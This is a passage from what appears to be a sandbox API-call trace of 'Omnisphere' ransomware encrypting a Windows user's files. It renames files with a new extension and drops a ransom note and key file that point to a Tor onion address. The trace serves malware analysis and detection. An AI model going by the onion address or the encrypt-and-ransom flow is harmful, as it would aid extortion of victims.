hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.229] CryptDestroyKey (hKey=0x16395e8) returned 1 [0118.229] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0118.229] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4a2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.229] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.229] GetProcessHeap () returned 0x1600000 [0118.229] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16a0768 [0118.229] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-frhxieaikz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-frhxieaikz.lnk.omnisphere")) returned 1 [0118.230] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk.omnisphere.id" [0118.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-frhxieaikz.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.230] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.231] CloseHandle (hObject=0x3c0) returned 1 [0118.232] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.232] CloseHandle (hObject=0x288) returned 1 [0118.232] SetEndOfFile (hFile=0x28c) returned 1 [0118.232] FlushFileBuffers (hFile=0x28c) returned 1 [0118.235] CloseHandle (hObject=0x28c) returned 1 [0118.235] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.235] GetProcessHeap () returned 0x1600000 [0118.235] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a0a20 [0118.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.235] GetProcessHeap () returned 0x1600000 [0118.235] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16938f0 [0118.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16938f0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.235] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.235] GetProcessHeap () returned 0x1600000 [0118.235] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687068 [0118.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687068, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.235] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.235] GetProcessHeap () returned 0x1600000 [0118.235] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16315d0 [0118.235] PathCombineW (in: pszDest=0x16315d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.235] GetProcessHeap () returned 0x1600000 [0118.236] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16977e8 [0118.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.236] WriteFile (in: hFile=0x28c, lpBuffer=0x16977e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16977e8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.236] CloseHandle (hObject=0x28c) returned 1 [0118.236] GetProcessHeap () returned 0x1600000 [0118.236] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a0a20 | out: hHeap=0x1600000) returned 1 [0118.236] GetProcessHeap () returned 0x1600000 [0118.236] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.236] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.236] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.236] CloseHandle (hObject=0x28c) returned 1 [0118.237] GetProcessHeap () returned 0x1600000 [0118.237] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.237] GetProcessHeap () returned 0x1600000 [0118.237] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0118.237] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e42675b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e42675b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e42675b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="-HpIv8B0j5lezuuXMs.lnk", cAlternateFileName="-HPIV8~1.LNK")) returned 1 [0118.237] GetProcessHeap () returned 0x1600000 [0118.237] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630ea0 [0118.237] PathCombineW (in: pszDest=0x1630ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="-HpIv8B0j5lezuuXMs.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk" [0118.237] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-HpIv8B0j5lezuuXMs.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-hpiv8b0j5lezuuxms.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.237] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=688) returned 1 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.237] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 [0118.238] GetTickCount () returned 0x115d8d8 